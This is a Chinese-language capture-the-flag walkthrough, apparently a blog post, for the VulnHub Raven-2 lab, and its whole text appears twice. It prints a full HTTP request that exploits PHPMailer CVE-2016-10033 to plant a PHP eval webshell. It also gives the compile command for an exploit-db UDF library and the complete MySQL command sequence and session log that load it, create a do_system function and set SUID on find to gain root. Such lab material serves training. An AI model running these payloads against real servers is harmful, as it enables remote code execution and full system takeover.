核心原理UDF 全称为 User Defined Function用户自定义函数是 MySQL 官方提供的扩展功能。MySQL 支持加载外部动态链接库Linux 下为 .so 共享库Windows 下为 .dll 文件以此自定义函数来拓展数据库能力该功能本身属于正常业务特性。在 Linux 环境中MySQL 服务默认以 root 权限运行。攻击者利用这一特性制作内置系统命令执行逻辑的恶意动态链接库通过 MySQL 的文件读写能力将恶意库部署到 MySQL 专属插件目录再创建自定义函数关联恶意库。当调用自定义函数时命令会依托 MySQL 的 root 权限执行从而实现命令执行与权限提升这就是 MySQL UDF 提权的核心逻辑。前置条件1.拥有 MySQL 高权限账号如 root具备建表、创建函数、文件读写等权限2.MySQL 开启 file 权限允许使用 load_file、dumpfile 进行文件读写3.MySQL 插件目录具备可写权限能够正常写入恶意 .so 文件一、靶机下载地址https://www.vulnhub.com/entry/raven-2,269/二、信息收集1.端口扫描2.目录扫描翻找目录发现flag1:三、漏洞利用PHPMailer 5.2.18存在远程代码执行漏洞CVE-2016-10033源于其对用户输入的邮箱地址验证与转义处理存在逻辑缺陷。攻击者可构造包含特殊字符的恶意邮箱地址绕过过滤机制将参数注入到Sendmail命令行中并利用其-X日志参数将包含PHP代码的邮件内容写入Web可访问目录从而在服务器上创建恶意Webshell最终实现远程代码执行完全控制目标系统。构造payloadPOST /contact.php HTTP/1.1 Host: 192.168.96.139 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8 Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary------------------------3673473670840262 Content-Length: 627 Origin: http://192.168.96.139 Sec-GPC: 1 Connection: close Referer: http://192.168.96.139/contact.php Upgrade-Insecure-Requests: 1 --------------------------3673473670840262 Content-Disposition: form-data; nameaction submit --------------------------3673473670840262 Content-Disposition: form-data; namename test --------------------------3673473670840262 Content-Disposition: form-data; nameemail aaa. -OQueueDirectory/tmp/. -X/var/www/html/shell.php test.com --------------------------3673473670840262 Content-Disposition: form-data; namesubject test --------------------------3673473670840262 Content-Disposition: form-data; namemessage ?php eval($_POST[cmd]);? --------------------------3673473670840262--蚁剑连接发现flag2:建立反弹shell四、udf提权1.找到mysql用户名和密码注意nc监听是非交互式的哑终端用python生成一个交互式的伪终端。否则不能正常与mysql交互。python -c import pty; pty.spawn(/bin/bash)2.下载exp脚本并编译在线地址https://www.exploit-db.com/exploits/1518编译命令gcc -g -fPIC -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc3.UDF提权完整流程整个利用过程分为文件中转、恶意库部署、创建后门函数、执行提权命令四个环节-- 1. 切换到MySQL系统内置库 mysql -- 作用mysql库存储了用户权限、自定义函数、插件等核心系统信息后续操作依赖该库 use mysql; -- 2. 查看mysql库下的所有数据表 -- 作用验证库是否正常同时确认存储自定义函数的 func 表存在 show tables; -- 3. 查询MySQL的插件存放路径UDF提权核心路径 -- 作用恶意so文件必须放在MySQL的plugin目录下才能被加载为自定义函数 show variables like %plugin%; -- 4. 创建临时表 foo字段 line 为 BLOB 二进制类型 -- 作用BLOB类型专门存储二进制文件.so共享库作为临时容器存放恶意插件文件 create table foo(line blob); -- 5. 读取服务器本地的恶意so文件并插入到临时表foo中 -- load_file()MySQL内置函数读取服务器本地文件的二进制内容 -- 前提MySQL对 /var/www/1518.so 有读取权限 insert into foo values(load_file(/var/www/1518.so)); -- 6. 将临时表中的二进制so文件导出到MySQL的插件目录 -- into dumpfileMySQL导出函数**专门用于导出二进制文件**不会添加换行/格式保证so文件完整性 -- 核心必须写入plugin目录否则MySQL无法加载该UDF函数 select * from foo into dumpfile /usr/lib/mysql/plugin/1518.so; -- 7. 创建自定义函数 do_system用于执行Linux系统命令 -- returns integer定义函数返回值为整数命令执行状态码 -- soname 1518.so绑定恶意so库函数的执行逻辑由该so文件实现 create function do_system returns integer soname 1518.so; -- 8. 查询mysql.func 系统表 -- 作用mysql.func 专门存储MySQL所有**自定义UDF函数**验证函数是否创建成功 select * from mysql.func; -- 9. 调用自定义函数 do_system给 find 命令添加 SUID 提权权限 -- chmod us为文件设置SUID特殊权限执行时会以**文件所有者root**身份运行 -- 目的让普通用户执行 find 命令时自动获得root权限完成提权 select do_system(chmod us /usr/bin/find);完整操作记录mysql use mysql; use mysql; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql show tables; show tables; --------------------------- | Tables_in_mysql | --------------------------- | columns_priv | | db | | event | | func | | general_log | | help_category | | help_keyword | | help_relation | | help_topic | | host | | ndb_binlog_index | | plugin | | proc | | procs_priv | | proxies_priv | | servers | | slow_log | | tables_priv | | time_zone | | time_zone_leap_second | | time_zone_name | | time_zone_transition | | time_zone_transition_type | | user | --------------------------- 24 rows in set (0.00 sec) mysql show variables like %plugin%; show variables like %plugin%; --------------------------------------- | Variable_name | Value | --------------------------------------- | plugin_dir | /usr/lib/mysql/plugin/ | --------------------------------------- 1 row in set (0.00 sec) mysql create table foo(line blob); create table foo(line blob); Query OK, 0 rows affected (0.01 sec) mysql show tables; show tables; --------------------------- | Tables_in_mysql | --------------------------- | columns_priv | | db | | event | | foo | | func | | general_log | | help_category | | help_keyword | | help_relation | | help_topic | | host | | ndb_binlog_index | | plugin | | proc | | procs_priv | | proxies_priv | | servers | | slow_log | | tables_priv | | time_zone | | time_zone_leap_second | | time_zone_name | | time_zone_transition | | time_zone_transition_type | | user | --------------------------- 25 rows in set (0.00 sec) mysql insert into foo values(load_file(/var/www/1518.so)); insert into foo values(load_file(/var/www/1518.so)); Query OK, 1 row affected (0.04 sec) mysql select * from foo into dumpfile /usr/lib/mysql/plugin/1518.so; select * from foo into dumpfile /usr/lib/mysql/plugin/1518.so; Query OK, 1 row affected (0.02 sec) mysql create function do_system returns integer soname 1518.so; create function do_system returns integer soname 1518.so; Query OK, 0 rows affected (0.00 sec) mysql select * from mysql.func; select * from mysql.func; ----------------------------------- | name | ret | dl | type | ----------------------------------- | do_system | 2 | 1518.so | function | ----------------------------------- 1 row in set (0.00 sec) mysql select do_system(chmod us /usr/bin/find); select do_system(chmod us /usr/bin/find); -------------------------------------- | do_system(chmod us /usr/bin/find) | -------------------------------------- | 0 | -------------------------------------- 1 row in set (0.01 sec) mysql quit quit Bye4.用find命令获取root权限flag4:flag3:wordpress的upload上传目录未授权访问拿到
mysql之udf提权
发布时间:2026/6/8 7:16:02
核心原理UDF 全称为 User Defined Function用户自定义函数是 MySQL 官方提供的扩展功能。MySQL 支持加载外部动态链接库Linux 下为 .so 共享库Windows 下为 .dll 文件以此自定义函数来拓展数据库能力该功能本身属于正常业务特性。在 Linux 环境中MySQL 服务默认以 root 权限运行。攻击者利用这一特性制作内置系统命令执行逻辑的恶意动态链接库通过 MySQL 的文件读写能力将恶意库部署到 MySQL 专属插件目录再创建自定义函数关联恶意库。当调用自定义函数时命令会依托 MySQL 的 root 权限执行从而实现命令执行与权限提升这就是 MySQL UDF 提权的核心逻辑。前置条件1.拥有 MySQL 高权限账号如 root具备建表、创建函数、文件读写等权限2.MySQL 开启 file 权限允许使用 load_file、dumpfile 进行文件读写3.MySQL 插件目录具备可写权限能够正常写入恶意 .so 文件一、靶机下载地址https://www.vulnhub.com/entry/raven-2,269/二、信息收集1.端口扫描2.目录扫描翻找目录发现flag1:三、漏洞利用PHPMailer 5.2.18存在远程代码执行漏洞CVE-2016-10033源于其对用户输入的邮箱地址验证与转义处理存在逻辑缺陷。攻击者可构造包含特殊字符的恶意邮箱地址绕过过滤机制将参数注入到Sendmail命令行中并利用其-X日志参数将包含PHP代码的邮件内容写入Web可访问目录从而在服务器上创建恶意Webshell最终实现远程代码执行完全控制目标系统。构造payloadPOST /contact.php HTTP/1.1 Host: 192.168.96.139 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8 Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary------------------------3673473670840262 Content-Length: 627 Origin: http://192.168.96.139 Sec-GPC: 1 Connection: close Referer: http://192.168.96.139/contact.php Upgrade-Insecure-Requests: 1 --------------------------3673473670840262 Content-Disposition: form-data; nameaction submit --------------------------3673473670840262 Content-Disposition: form-data; namename test --------------------------3673473670840262 Content-Disposition: form-data; nameemail aaa. -OQueueDirectory/tmp/. -X/var/www/html/shell.php test.com --------------------------3673473670840262 Content-Disposition: form-data; namesubject test --------------------------3673473670840262 Content-Disposition: form-data; namemessage ?php eval($_POST[cmd]);? --------------------------3673473670840262--蚁剑连接发现flag2:建立反弹shell四、udf提权1.找到mysql用户名和密码注意nc监听是非交互式的哑终端用python生成一个交互式的伪终端。否则不能正常与mysql交互。python -c import pty; pty.spawn(/bin/bash)2.下载exp脚本并编译在线地址https://www.exploit-db.com/exploits/1518编译命令gcc -g -fPIC -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc3.UDF提权完整流程整个利用过程分为文件中转、恶意库部署、创建后门函数、执行提权命令四个环节-- 1. 切换到MySQL系统内置库 mysql -- 作用mysql库存储了用户权限、自定义函数、插件等核心系统信息后续操作依赖该库 use mysql; -- 2. 查看mysql库下的所有数据表 -- 作用验证库是否正常同时确认存储自定义函数的 func 表存在 show tables; -- 3. 查询MySQL的插件存放路径UDF提权核心路径 -- 作用恶意so文件必须放在MySQL的plugin目录下才能被加载为自定义函数 show variables like %plugin%; -- 4. 创建临时表 foo字段 line 为 BLOB 二进制类型 -- 作用BLOB类型专门存储二进制文件.so共享库作为临时容器存放恶意插件文件 create table foo(line blob); -- 5. 读取服务器本地的恶意so文件并插入到临时表foo中 -- load_file()MySQL内置函数读取服务器本地文件的二进制内容 -- 前提MySQL对 /var/www/1518.so 有读取权限 insert into foo values(load_file(/var/www/1518.so)); -- 6. 将临时表中的二进制so文件导出到MySQL的插件目录 -- into dumpfileMySQL导出函数**专门用于导出二进制文件**不会添加换行/格式保证so文件完整性 -- 核心必须写入plugin目录否则MySQL无法加载该UDF函数 select * from foo into dumpfile /usr/lib/mysql/plugin/1518.so; -- 7. 创建自定义函数 do_system用于执行Linux系统命令 -- returns integer定义函数返回值为整数命令执行状态码 -- soname 1518.so绑定恶意so库函数的执行逻辑由该so文件实现 create function do_system returns integer soname 1518.so; -- 8. 查询mysql.func 系统表 -- 作用mysql.func 专门存储MySQL所有**自定义UDF函数**验证函数是否创建成功 select * from mysql.func; -- 9. 调用自定义函数 do_system给 find 命令添加 SUID 提权权限 -- chmod us为文件设置SUID特殊权限执行时会以**文件所有者root**身份运行 -- 目的让普通用户执行 find 命令时自动获得root权限完成提权 select do_system(chmod us /usr/bin/find);完整操作记录mysql use mysql; use mysql; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql show tables; show tables; --------------------------- | Tables_in_mysql | --------------------------- | columns_priv | | db | | event | | func | | general_log | | help_category | | help_keyword | | help_relation | | help_topic | | host | | ndb_binlog_index | | plugin | | proc | | procs_priv | | proxies_priv | | servers | | slow_log | | tables_priv | | time_zone | | time_zone_leap_second | | time_zone_name | | time_zone_transition | | time_zone_transition_type | | user | --------------------------- 24 rows in set (0.00 sec) mysql show variables like %plugin%; show variables like %plugin%; --------------------------------------- | Variable_name | Value | --------------------------------------- | plugin_dir | /usr/lib/mysql/plugin/ | --------------------------------------- 1 row in set (0.00 sec) mysql create table foo(line blob); create table foo(line blob); Query OK, 0 rows affected (0.01 sec) mysql show tables; show tables; --------------------------- | Tables_in_mysql | --------------------------- | columns_priv | | db | | event | | foo | | func | | general_log | | help_category | | help_keyword | | help_relation | | help_topic | | host | | ndb_binlog_index | | plugin | | proc | | procs_priv | | proxies_priv | | servers | | slow_log | | tables_priv | | time_zone | | time_zone_leap_second | | time_zone_name | | time_zone_transition | | time_zone_transition_type | | user | --------------------------- 25 rows in set (0.00 sec) mysql insert into foo values(load_file(/var/www/1518.so)); insert into foo values(load_file(/var/www/1518.so)); Query OK, 1 row affected (0.04 sec) mysql select * from foo into dumpfile /usr/lib/mysql/plugin/1518.so; select * from foo into dumpfile /usr/lib/mysql/plugin/1518.so; Query OK, 1 row affected (0.02 sec) mysql create function do_system returns integer soname 1518.so; create function do_system returns integer soname 1518.so; Query OK, 0 rows affected (0.00 sec) mysql select * from mysql.func; select * from mysql.func; ----------------------------------- | name | ret | dl | type | ----------------------------------- | do_system | 2 | 1518.so | function | ----------------------------------- 1 row in set (0.00 sec) mysql select do_system(chmod us /usr/bin/find); select do_system(chmod us /usr/bin/find); -------------------------------------- | do_system(chmod us /usr/bin/find) | -------------------------------------- | 0 | -------------------------------------- 1 row in set (0.01 sec) mysql quit quit Bye4.用find命令获取root权限flag4:flag3:wordpress的upload上传目录未授权访问拿到